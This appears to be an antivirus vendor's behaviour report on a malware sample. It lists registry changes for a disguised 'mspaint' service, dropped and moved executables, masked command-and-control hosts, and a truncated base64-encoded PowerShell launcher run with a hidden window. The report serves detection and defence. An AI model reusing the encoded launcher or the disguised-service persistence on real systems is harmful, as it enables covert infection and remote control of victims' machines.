Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\mspaint] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\mspaint] 'ImagePath' = '"%WINDIR%\SysWOW64\vccorlib110\mspaint.exe"'
Creates the following services
- 'mspaint' "%WINDIR%\SysWOW64\vccorlib110\mspaint.exe"
- 'mspaint' %WINDIR%\SysWOW64\vccorlib110\mspaint.exe
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABUADMAaABmAHMAOAB5AD0AKAAoACcARwA2ACcAKwAnAHIAJwArACcAMQA0AG0AJwApACsAJwB3ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAEUAcgBwAHIATwBGAEkATABFAFwAbQAzAFkAZg...
Modifies file system
Creates the following files
- %HOMEPATH%\m3yfa09\fedmqsu\k2ngq9rh.exe
Deletes the following files
- %HOMEPATH%\m3yfa09\fedmqsu\k2ngq9rh.exe
Moves the following files
- from %HOMEPATH%\m3yfa09\fedmqsu\k2ngq9rh.exe to %WINDIR%\syswow64\vccorlib110\mspaint.exe
Substitutes the following files
- %HOMEPATH%\m3yfa09\fedmqsu\k2ngq9rh.exe
Network activity
Connects to
- '17#.#13.69.136':80
- '51.##.124.206':80
TCP
HTTP GET requests
- http://th###work.com/mail.theccwork.com/IJp/
HTTP POST requests
- http://51.##.124.206/8fNymX8LyZe0I/ISubGpv8vDTubbHq45/
UDP
- DNS ASK th###work.com
- DNS ASK re######ntprofessional.com
- DNS ASK wr#####fromling.live
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABUADMAaABmAHMAOAB5AD0AKAAoACcARwA2ACcAKwAnAHIAJwArACcAMQA0AG0AJwApACsAJwB3ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAEUAcgBwAHIATwBGAEkATABFAFwAbQAzAFkAZg...' (with hidden window)
